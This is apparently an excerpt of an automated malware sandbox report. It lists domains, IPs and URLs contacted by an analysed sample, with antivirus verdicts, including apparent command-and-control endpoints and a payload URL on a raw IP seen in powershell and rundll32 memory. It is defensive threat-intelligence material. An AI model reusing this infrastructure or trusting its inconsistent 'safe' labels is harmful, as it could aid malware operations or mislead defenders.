http://schemas.microsoft.c	0%	Avira URL Cloud	safe
http://www.coolarts.xyz/tuid/	0%	Avira URL Cloud	safe
http://www.emitacademy.com/sitemap.xml	0%	Avira URL Cloud	safe
http://101.99.94.169/g	0%	Avira URL Cloud	safe
http://www.worldbrands.wine/tuid/	0%	Avira URL Cloud	safe
http://www.emitacademy.com/	0%	Avira URL Cloud	safe
http://www.receiveprim.online/tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP	0%	Avira URL Cloud	safe
http://www.emitacademy.com/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=83varyKolJl8CknPQYlgcSGzNVcyrkZOB+D5ZpiMClZzhWRqo67UpTDjwxWvk8XKYz02	0%	Avira URL Cloud	safe
http://www.emitacademy.com/images/mlogo.png	0%	Avira URL Cloud	safe
http://www.vtubber.com/tuid/?m4bd=vE0t2WxjBi8H4KsoCXQPFaaEcnaL0cW4rsHN0mKSQSi6rgkDy1GsjEniIX065GWycDne&UlCp=CJEhZPH	0%	Avira URL Cloud	safe
http://www.ymsb.info/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv	0%	Avira URL Cloud	safe
http://65bxm.emitacademy.com	0%	Avira URL Cloud	safe
http://www.ap-render.com/tuid/	0%	Avira URL Cloud	safe
http://y3w1s.emitacademy.com	0%	Avira URL Cloud	safe
http://www.secureartist.com/tuid/	0%	Avira URL Cloud	safe
http://www.svgjp.com/tuid/?m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LlJi1JnCbSa7CQi/RAeh&8pB=3fY8ljB8rp-H	0%	Avira URL Cloud	safe
http://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&APPTx=9r9PSR	0%	Avira URL Cloud	safe
http://www.svgjp.com/tuid/	0%	Avira URL Cloud	safe
http://bxs6w.emitacademy.com	0%	Avira URL Cloud	safe
http://www.ghanesa.xyz/tuid/	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
http://www.secureartist.com/tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP	0%	Avira URL Cloud	safe
http://www.muziclips.com/tuid/	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://www.coolarts.xyz/tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
http://s249r.emitacademy.com	0%	Avira URL Cloud	safe
http://www.receiveprim.online/tuid/	0%	Avira URL Cloud	safe
http://www.wwwf2dni.com/tuid/?m4bd=HIOGqwzZ3Isl7OEwvKn7zxoCIrzNSH0uht2lzyEyFHfgP4651xyJdMCZXys0BRyGrE8f&8pB=3fY8ljB8rp-H	0%	Avira URL Cloud	safe
http://k8s2t.emitacademy.com	0%	Avira URL Cloud	safe
http://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&APPTx=9r9PSR	0%	Avira URL Cloud	safe
http://www.linuxizes.com/tuid/	0%	Avira URL Cloud	safe
http://www.xc8b49c6mnmdts.xyz/tuid/?m4bd=vocXnNkofrtqV2skOi0toh6MZkzBPgY3NaQb1h7517U8PmTkl0G2bMX+HFjiIYqpZAQ5&APPTx=9r9PSR	0%	Avira URL Cloud	safe
http://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP	0%	Avira URL Cloud	safe
http://www.itsfindia.online/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb	0%	Avira URL Cloud	safe
http://101.99.94.169/WHvBvQsIuWdD218.inf3#	0%	Avira URL Cloud	safe
http://j4itc.emitacademy.com	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
http://www.ghanesa.xyz/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW	0%	Avira URL Cloud	safe
http://i1upy.emitacademy.com	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&8pB=3fY8ljB8rp-H	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.mojawapo.com	154.23.227.120	true	true		unknown
www.coolarts.xyz	13.248.216.40	true	true		unknown
pltraffic39.com	72.52.179.174	true	false		unknown
www.emitacademy.com	154.95.160.71	true	true	0%, Virustotal, Browse	unknown
www.muziclips.com	154.210.161.216	true	true		unknown
www.147bronzeway.com	104.21.51.250	true	true		unknown
hikingtaibah.com	145.14.153.89	true	true		unknown
www.linuxizes.com	66.29.155.228	true	true		unknown
www.receiveprim.online	188.114.96.3	true	true		unknown
www.worldbrands.wine	81.95.96.29	true	true		unknown
www.blueonb.com	185.27.134.153	true	true		unknown
xc8b49c6mnmdts.xyz	216.18.208.202	true	true		unknown
www.ymsb.info	130.211.17.207	true	false		unknown
www.maximilianvonah.com	217.160.0.178	true	true		unknown
ghanesa.xyz	103.150.61.226	true	true		unknown
www.ap-render.com	89.46.108.25	true	true		unknown
www.secureartist.com	104.21.39.116	true	true		unknown
ghs.googlehosted.com	142.251.39.115	true	false		unknown
itsfindia.online	217.21.87.131	true	true		unknown
www.wwwf2dni.com	154.80.183.133	true	true		unknown
td-balancer-199-15-163-148.wixdns.net	199.15.163.148	true	true		unknown
www.itsfindia.online	unknown	unknown	true		unknown
www.5111.site	unknown	unknown	true		unknown
www.ghanesa.xyz	unknown	unknown	true		unknown
www.vtubber.com	unknown	unknown	true		unknown
www.laforet.info	unknown	unknown	true		unknown
www.edico-al.com	unknown	unknown	true		unknown
www.et-secure.info	unknown	unknown	true		unknown
www.hikingtaibah.com	unknown	unknown	true		unknown
www.svgjp.com	unknown	unknown	true		unknown
www.productislandsize.xyz	unknown	unknown	true		unknown
www.programmedsolution.com	unknown	unknown	true		unknown
www.aia-art.com	unknown	unknown	true		unknown
www.xc8b49c6mnmdts.xyz	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.mojawapo.com/tuid/?m4bd=WEOQpGNSR38PhgWGQI/4C8NMlFMwGI3qKGQVHk5AxuPmXhsKWgjXW9kcijjoxdm/j8Qu&APPTx=9r9PSR	true	Avira URL Cloud: safe	unknown
http://www.coolarts.xyz/tuid/	true	Avira URL Cloud: safe	unknown
http://www.worldbrands.wine/tuid/	true	Avira URL Cloud: safe	unknown
http://www.receiveprim.online/tuid/?m4bd=5V7M8j5VuGkiy9NL3tIypAJy22VFPCeBH5Oh5nibDDbINvkaWpZ6bb8s5rlg19isjBzt&M8s=w86DJpgx5FYlUfRP	true	Avira URL Cloud: safe	unknown
http://www.emitacademy.com/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=83varyKolJl8CknPQYlgcSGzNVcyrkZOB+D5ZpiMClZzhWRqo67UpTDjwxWvk8XKYz02	true	Avira URL Cloud: safe	unknown
http://www.vtubber.com/tuid/?m4bd=vE0t2WxjBi8H4KsoCXQPFaaEcnaL0cW4rsHN0mKSQSi6rgkDy1GsjEniIX065GWycDne&UlCp=CJEhZPH	false	Avira URL Cloud: safe	unknown
http://www.ymsb.info/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=x1lqSWX2LKO1JKV9bkchYXFCTPqYoW8UylSztnXFuZ2/7+2KqJfWLK3RcwQMnMv5S2vv	false	Avira URL Cloud: safe	unknown
http://www.ap-render.com/tuid/	true	Avira URL Cloud: safe	unknown
http://www.secureartist.com/tuid/	true	Avira URL Cloud: safe	unknown
http://www.svgjp.com/tuid/?m4bd=p0pyYx380zTi+CiqScB4rLgyoRdRZyFFdRM5Rh8HyCuUL1S9LlJi1JnCbSa7CQi/RAeh&8pB=3fY8ljB8rp-H	true	Avira URL Cloud: safe	unknown
http://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&APPTx=9r9PSR	true	Avira URL Cloud: safe	unknown
http://www.svgjp.com/tuid/	true	Avira URL Cloud: safe	unknown
http://www.ghanesa.xyz/tuid/	true	Avira URL Cloud: safe	unknown
http://www.secureartist.com/tuid/?m4bd=LeABM0dRx+cjh3zMeGVoLpl9dcpUDuhE6Ym2dCR4YXuE8jour2rN+gEOINsGd1piKr34&M8s=w86DJpgx5FYlUfRP	true	Avira URL Cloud: safe	unknown
http://www.muziclips.com/tuid/	true	Avira URL Cloud: safe	unknown
http://www.coolarts.xyz/tuid/?m4bd=9gXeVPWqRuIX9bIiSDPSAo7Wpwb+1c/G4dykJbOMN5RD0q8y2Pxv3NPChbg6lQ1LsmOi&M8s=w86DJpgx5FYlUfRP	true	Avira URL Cloud: safe	unknown
http://www.receiveprim.online/tuid/	true	Avira URL Cloud: safe	unknown
http://www.wwwf2dni.com/tuid/?m4bd=HIOGqwzZ3Isl7OEwvKn7zxoCIrzNSH0uht2lzyEyFHfgP4651xyJdMCZXys0BRyGrE8f&8pB=3fY8ljB8rp-H	true	Avira URL Cloud: safe	unknown
http://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&APPTx=9r9PSR	false	Avira URL Cloud: safe	unknown
http://www.linuxizes.com/tuid/	true	Avira URL Cloud: safe	unknown
http://www.xc8b49c6mnmdts.xyz/tuid/?m4bd=vocXnNkofrtqV2skOi0toh6MZkzBPgY3NaQb1h7517U8PmTkl0G2bMX+HFjiIYqpZAQ5&APPTx=9r9PSR	true	Avira URL Cloud: safe	unknown
http://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqaVaC/gFtqDUvqUT5Zi2l9zF52EiAp1&M8s=w86DJpgx5FYlUfRP	false	Avira URL Cloud: safe	unknown
http://www.itsfindia.online/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=mghAatraeoVXXTpIg6GKnKl23LbAAQF/82d90oG2Rt9sZLGICR2WykimnZjjCp2p0vtb	true	Avira URL Cloud: safe	unknown
http://www.ghanesa.xyz/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW	true	Avira URL Cloud: safe	unknown
http://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtYQngKRIFYz9xfmhcqtIvpGa85+jixf523tlwbXsspzXRN02o1TtG1NqJ3tW&8pB=3fY8ljB8rp-H	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nrokq.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.cz/klientska-zona/zakaznicka-podpora	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/uk-climate-activists-face-prison-for-blocking-highz	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://zb379.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://klmy8.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://faq.active24.com/cz/806087-Z%c3%a1kladn%c3%ad-informace	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000016.00000000.3341209442.0000000009A16000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3066597819.0000000009A16000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2927724211.0000000009A16000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3193544350.0000000009A16000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.microsoft.c	explorer.exe, 00000016.00000000.3370697955.000000000DB47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3224076856.000000000DBBD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2973981564.000000000DB47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3113269580.000000000DBBD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000016.00000000.3370697955.000000000DB47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3224076856.000000000DBBD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2973981564.000000000DB47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3113269580.000000000DBBD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3071520178.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3196886291.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3344684844.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2932835606.0000000009B94000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.emitacademy.com/sitemap.xml	firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://101.99.94.169/g	ielowutil.exe, 00000015.00000003.3481308758.0000000003348000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3489945907.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.cz/objednavka/login	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/dnssec	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/texas-gov-abbott-sends-miles-of-cars-along-border-to-deter-migrant	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://gui.active24.cz/library/theme/hp16/style.css	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.emitacademy.com/	firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.3038954866.0000000005061000.00000004.00000800.00020000.00000000.sdmp	false		high
https://customer.active24.com/	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/jak-na-tvorbu-webu	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://gui.active24.cz/img/icon/favicon-16x16.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.3101107640.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.emitacademy.com/images/mlogo.png	firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://65bxm.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.cz/spoluprace	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.3038954866.0000000005061000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gui.active24.cz/img/default-domain/dnssec.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://y3w1s.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/svg/72/MostlySunnyDay.svg	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://faq.active24.com/cz/808905-E-mailov%c3%a1-%c5%99e%c5%a1en%c3%ad	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/upozorneni	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://bxs6w.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000016.00000000.3224363499.000000000DBC9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2973981564.000000000DB47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3113624581.000000000DBC9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3371795782.000000000DBC9000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/tv/celebrity/tarek-el-moussa-tests-positive-for-covid-19-shuts-down-filmin	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.3046656101.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.3046656101.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000003.2572303132.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.active24.cz/domeny	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://faq.active24.com/cz/932337-Spolupr%c3%a1ce	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://gui.active24.cz/font/active24-icons.ttf	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.3101107640.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/technology/facebook-oversight-board-reviewing-xcheck-system-for-vips/	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://faq.active24.com/cz/757409-Bezpe%c4%8dnost	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://outlook.com:	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.active24.cz/o-spolecnosti/kariera	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://gui.active24.cz/img/default-domain/dns.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://s249r.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	explorer.exe, 00000016.00000000.3071520178.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3196886291.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3344684844.0000000009B94000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2932835606.0000000009B94000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.3046656101.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://faq.active24.com/cz/920729-Dom%c3%a9ny-a-DNS	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://webmail.active24.com/	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://k8s2t.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=5696A836803C42E0B53F7BB2770E5342&timeOut=10000&o	explorer.exe, 00000016.00000000.3187341988.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3058326928.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2919364739.00000000056BE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3334828996.00000000056BE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://gui.active24.cz/img/default-domain/image.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://mysql.active24.com/	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://gui.active24.cz/css/landing.css	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?ok	explorer.exe, 00000016.00000000.3228058220.0000000010CA6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3376567897.0000000010CA6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3121184764.0000000010CA6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2979739268.0000000010BA0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://gui.active24.cz/img/default-domain/notify.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/weby/mojestranky	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/o-spolecnosti/kontakty	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/domeny#m-certifikace	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://101.99.94.169/WHvBvQsIuWdD218.inf3#	ielowutil.exe, 00000015.00000003.3481308758.0000000003348000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3489945907.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://j4itc.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/icon/apple-icon-180x180.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://gui.active24.cz/img/icon/favicon-96x96.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://github.com/Pester/PesterT	powershell.exe, 00000004.00000002.3046656101.00000000051BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gui.active24.cz/img/icon/ms-icon-144x144.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://faq.active24.com/cz/162807-DNS-hosting?l=cs	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://webftp.active24.com/	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.active24.cz/o-spolecnosti	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.3101107640.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mssql.active24.com/	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://i1upy.emitacademy.com	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.4149121268.000000002F352000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gui.active24.cz/img/default-domain/free.png	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000016.00000000.3174608985.0000000003440000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3349273884.000000000AD60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.3181130108.0000000003860000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
